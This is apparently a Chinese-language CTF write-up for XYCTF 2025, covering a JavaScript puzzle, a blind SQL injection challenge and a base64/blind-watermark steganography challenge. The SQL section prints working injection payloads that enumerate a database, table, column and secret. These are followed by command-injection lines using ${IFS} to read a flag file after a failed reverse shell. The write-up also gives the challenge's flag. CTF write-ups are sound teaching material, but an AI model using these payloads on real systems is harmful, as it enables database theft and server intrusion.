Web
ez_puzzle
拼图过程中注意到他会弹窗
去源码中找alert函数
这里注意到if函数中的判断条件
尝试本地搭建,修改代码逻辑
思路为控制台输入指令回显alert,代码逻辑有问题
后面尝试正常拼图,拼图时间超过2秒,alert(O[s74](J74))
ezsql(手动滑稽)
sql注入,注入点为username,单引号注入
fuzz测试:
手工测试,发现可以盲注
爆库
username=1'%09or%09substring(database()%09FROM%092%09FOR%091)='a'%23&password=1
手工注入测试出库为testdb
爆表:
username=admin'%09OR%09substring((select%09table_name%09from%09information_schema.tables%09where%09table_schema='testdb'%09limit%091%09offset%090)%09FROM%091%09FOR%091)='a'%23&password=1表:double_check
爆列:
username=admin'%09OR%09case%09when%09(ascii(substring((select%09column_name%09from%09information_schema.columns%09where%09table_name='double_check'%09limit%091)%09FROM%092%09FOR%091))=116)%09then%091%09else%090%09end=1%23&password=1secret
爆字段:
username=admin'%09OR%09case%09when%09(ascii(substring((select%09secret%09from%09double_check%09limit%091)%09FROM%092%09FOR%091))=116)%09then%091%09else%090%09end=1%23&password=1拿到:dtfrtkcc0czkoua9S
多次请求跳转路由:
输入密钥进入后台
RCE,不过无回显
反弹shell没成功,发现有写文件的权限,
ls${IFS}$9/>1.txt
cat${IFS}$9/flag.txt>1.txt
MISC
曼波曼波曼波
给了张二维码图片,尝试图片隐写没思路
查看编码,一眼base64,尝试转文件,报错
注意到文件头有=,怀疑字符逆序+base64转文件
with open("1.txt",'r') as f:a = f.read()b = a[::-1]with open("2.txt",'w') as f:f.write(b)
import os,base64with open("2.txt","r") as f:imgdata = base64.b64decode(f.read())file = open('3.png','wb')file.write(imgdata)file.close()
新的图片查看文件尾,发现隐藏压缩包,foremost分离
提取出来加密压缩包和图片,图片的话一眼盲水印,压缩包密码………盲猜XYCTF2025
解压之后拿到俩张一模一样的图片,肯定之前的猜想,尝试盲水印。
这里使用ctftools:
拿到flag:
XYCTF{easy_yin_xie_dfbfuj877}